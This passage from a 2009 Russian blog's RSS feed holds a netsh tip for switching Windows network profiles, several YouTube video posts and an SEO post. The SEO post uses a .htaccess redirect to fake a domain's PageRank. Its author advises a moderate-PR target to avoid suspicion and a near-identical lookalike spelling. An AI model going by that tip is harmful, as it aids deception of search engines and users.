<p><a href="http://saintist.ru/wp-content/uploads/2009/04/4.png"><img class="alignnone size-full wp-image-33" title="страница кода устройства" src="http://saintist.ru/wp-content/uploads/2009/04/4.png" alt="сайт с базой устройств" width="600" height="382" /></a></p>
<p>вуаля, ссылка на скачку инсталятора дров<br />
<a href="http://saintist.ru/wp-content/uploads/2009/04/5.png"><img class="alignnone size-full wp-image-33" title="страница кода устройства" src="http://saintist.ru/wp-content/uploads/2009/04/5.png" alt="сайт с базой устройств" width="600" height="382" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/21/instrukciya-po-ustanovke-poisku-drov-na-neopredelyayushhiesya-ustrojstva-v-vindovs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Создание нескольких профилей настроек сети (быстрое переключение между сетями)</title>
		<link>http://saintist.ru/2009/04/21/sozdanie-neskolkix-profilej-nastroek-seti-bystroe-pereklyuchenie-mezhdu-setyami/</link>
		<comments>http://saintist.ru/2009/04/21/sozdanie-neskolkix-profilej-nastroek-seti-bystroe-pereklyuchenie-mezhdu-setyami/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 21:36:12 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[ithappens]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=27</guid>
		<description><![CDATA[У многих людей бывает ситуация, когда необходимо работать попеременно в различных сетях с различными настройками (дома, на работе и т.д – особенно часто с этим сталкиваются владельцы ноутбуков). Для переключения профилей настроек существует несколько достаточно тяжеловесных программ. Как выяснилось, они не нужны. Все можно сделать встроенными средствами Windows. Для быстрого переключения настроек необходимо просто кликнуть [...]]]></description>
			<content:encoded><![CDATA[<p>У многих людей бывает ситуация, когда необходимо работать попеременно в различных сетях с различными настройками (дома, на работе и т.д – особенно часто с этим сталкиваются владельцы ноутбуков). Для переключения профилей настроек существует несколько достаточно тяжеловесных программ. Как выяснилось, они не нужны. Все можно сделать встроенными средствами Windows.<br />
<span id="more-27"></span><br />
Для быстрого переключения настроек необходимо просто кликнуть на нужную ссылку(ярлык).<br />
Данный метод работает как Windows XP, так и в Windows Vista.</p>
<p>все под катом</p>
<p>1.Настройте сеть (т.е. выставьте ip, subnet, gateway, dns, wins…)</p>
<p>2.Запустите command prompt – нажмите Win+R и введите cmd<br />
Введите:</p>
<p>netsh -c interface dump &gt; c:/homesettings.txt</p>
<p>Примечание: путь к файлу и его имя можете выбрать по своему желанию</p>
<p>3.Теперь настройте другую сеть – повторите шаги с 1 по 3</p>
<p>4.На desktop’е(рабочем столе) создайте ссылку (клик правой кнопкой мыши – New – Shortcut), которая будет указывать на</p>
<p>%windir%\system32\netsh.exe -f c:\homesettings.txt</p>
<p>Примечание: путь к файлу и его имя надо указать то же, что и в пункте 3</p>
<p>5. Не забудьте выбрать адекватное название ссылки и иконку для нее</p>
<p>6.Повторите шаг 5 для всех сетей, настроенных на шагах 1-3.</p>
<p>Есть и более простой вариант для случаев работы в 2-х сетях (например дома и на работе):<br />
в настройках сети зайти в свойства “Internet Protocol (TCP/IP)”.<br />
В появившемся окне будет две закладки:<br />
- Основная конфигурация<br />
- Альтернативная конфигурация</p>
<p>Т.о. прописав в “Основной конфигурации” настройки рабочей сети, а в “альтернативной конфигурации” настройки домашней сети далее не будет необходимости менять что-либо при переподключении ПК дома и на работе.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/21/sozdanie-neskolkix-profilej-nastroek-seti-bystroe-pereklyuchenie-mezhdu-setyami/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Александр Пушной &#8212; Слава Богу, ты пришел</title>
		<link>http://saintist.ru/2009/04/21/aleksandr-pushnoj-slava-bogu-ty-prishel/</link>
		<comments>http://saintist.ru/2009/04/21/aleksandr-pushnoj-slava-bogu-ty-prishel/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 21:28:17 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[YouTube и нетолько]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=21</guid>
		<description><![CDATA[Пух, настоящее имя — Пушной Александр . В детстве был до того воспитан родителями, что согласился пойти в общеобразовательную школу. Там был до такой степени общеобразован, что сразу же поступил в НГУ на Физический факультет. В 1993 году во время экпериментов с электричеством в миг понял, что Рок-н-Ролл мертв. После чего образовалась рок-группа «Медведь». В [...]]]></description>
			<content:encoded><![CDATA[<p><object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/05b4zgD0gS4&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/05b4zgD0gS4&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object></p>
<p>Пух, настоящее имя — Пушной Александр .<br />
В детстве был до того воспитан родителями, что согласился пойти в общеобразовательную школу. Там был до такой степени общеобразован, что сразу же поступил в НГУ на Физический факультет.</p>
<p>В 1993 году во время экпериментов с электричеством в миг понял, что Рок-н-Ролл мертв. После чего образовалась рок-группа «Медведь». В 1996 году группа впала в бессрочную спячку.</p>
<p>В том же 1996 году, проходя мимо двери помещения клуба «КВАНТ», был затянут туда сквозняком. После этого принимал активное участие в капустниках, банкетах, посиделках и собраниях. Проявлял незаурядные ораторские способности во время общественных субботников.</p>
<p>В 1997 году обнаружил в себе чрезмерное Веселье и Находчивость и поехал в Москву искать подходящий Клуб. Обнаружив Клуб Веселых и Находчивых, притворился «Стингом» в составе КВННГУ. Таковым и запомнился. В 1998 году вернулся из КВНа НГУ обратно в Физику.</p>
<p>В 2004 году у себя дома в районе обеда совершенно случайно написал фонограмму для ОСП. В знак благодарности Татьяна Лазарева и Михаил Шац разрешили поиграть рядом с ними на барабанах, только не громко. Поиграв на барабанах, стал разворачивать песни задом на перед на канале СТС, так же под присмотром Татьяны и Михаила. Но барабаны не забросил.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/21/aleksandr-pushnoj-slava-bogu-ty-prishel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Барабанда &#8212; Весна, Весна!</title>
		<link>http://saintist.ru/2009/04/21/animator-flesh-pesnya-o-flesherax/</link>
		<comments>http://saintist.ru/2009/04/21/animator-flesh-pesnya-o-flesherax/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 21:23:29 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[YouTube и нетолько]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=17</guid>
		<description><![CDATA[смотрел ролик несколько раз подряд, затягивает прям. Это видео снято на балконе московской квартиры! 760 кадров о том как зима становится летом! Под музыку Барабанды.]]></description>
			<content:encoded><![CDATA[<p><object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/zOGPcxpHAV4&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/zOGPcxpHAV4&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object></p>
<p>смотрел  ролик несколько раз подряд, затягивает прям.</p>
<p>Это видео снято на балконе московской квартиры! 760 кадров о том как зима становится летом! Под музыку Барабанды.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/21/animator-flesh-pesnya-o-flesherax/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Как сделать склейку ПР/PR (Page Rank)</title>
		<link>http://saintist.ru/2009/04/21/kak-sdelat-sklejku-prpr-page-rank/</link>
		<comments>http://saintist.ru/2009/04/21/kak-sdelat-sklejku-prpr-page-rank/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 21:17:58 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=14</guid>
		<description><![CDATA[Создается файл «.htaccess», в него вписывается следующий код: RewriteEngine on Options +FollowSymlinks RewriteBase / RewriteCond %{HTTP_HOST} ^vashdomen.com$ RewriteRule ^(.*)$ http://www.domen_s_kotorim_skleivaete.com/$1 [R=301,L] Направляете свой домен на NameServer своего хостера, в корень директории домена нужно положить созданный «.htaccess». При проверке, с вашего домена должно перенаправлять на сайт, с которым, собственно, клеим свой домен. Клеить лучше с доменом, [...]]]></description>
			<content:encoded><![CDATA[<p>Создается файл «.htaccess», в него вписывается следующий код:</p>
<p>RewriteEngine on<br />
Options +FollowSymlinks<br />
RewriteBase /</p>
<p>RewriteCond %{HTTP_HOST} ^vashdomen.com$<br />
RewriteRule ^(.*)$ http://www.domen_s_kotorim_skleivaete.com/$1 [R=301,L]</p>
<p>Направляете свой домен на NameServer своего хостера, в корень директории домена нужно  положить созданный «.htaccess». При проверке, с вашего домена должно перенаправлять на сайт, с которым, собственно, клеим свой домен.</p>
<p>Клеить лучше с доменом, который имеет не очень высокий PR (3—4), иначе, будет подозрительно. Ну, чтобы совсем &#171;было хороше&#187; , домен лучше выбрать, который очень похож по написанию.<br />
Например,kafa.com  и kava.come .</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/21/kak-sdelat-sklejku-prpr-page-rank/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Правда о русском SEO</title>
		<link>http://saintist.ru/2009/04/21/pravda-o-russkom-seo/</link>
		<comments>http://saintist.ru/2009/04/21/pravda-o-russkom-seo/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 20:45:12 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[YouTube и нетолько]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=9</guid>
		<description><![CDATA[Кто не видел смотреть обязательно. Сделан из куска фильмы &#171;Стиляги&#187;. Сам фильм несмотрел, но судя по отзывам фильм=г**но ))]]></description>
			<content:encoded><![CDATA[<p>Кто не видел  смотреть обязательно. Сделан  из  куска фильмы &#171;Стиляги&#187;. Сам фильм несмотрел, но  судя по отзывам  фильм=г**но ))</p>
<p><object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/vIT6Kfdu9qo&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/vIT6Kfdu9qo&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/21/pravda-o-russkom-seo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Стелс кот</title>
		<link>http://saintist.ru/2009/04/21/hello-world/</link>
		<comments>http://saintist.ru/2009/04/21/hello-world/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 20:15:50 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[YouTube и нетолько]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1</guid>
		<description><![CDATA[Люблю котов , не мог пройти мимо]]></description>
			<content:encoded><![CDATA[<p>Люблю котов , не мог пройти мимо</p>
<p><object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/tFgThv_DHHY&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/tFgThv_DHHY&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/21/hello-world/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Page Caching using disk: basic
Database Caching 10/20 queries in 0.034 seconds using disk: basic

Served from: saintist.ru @ 2012-05-20 08:15:59 -->
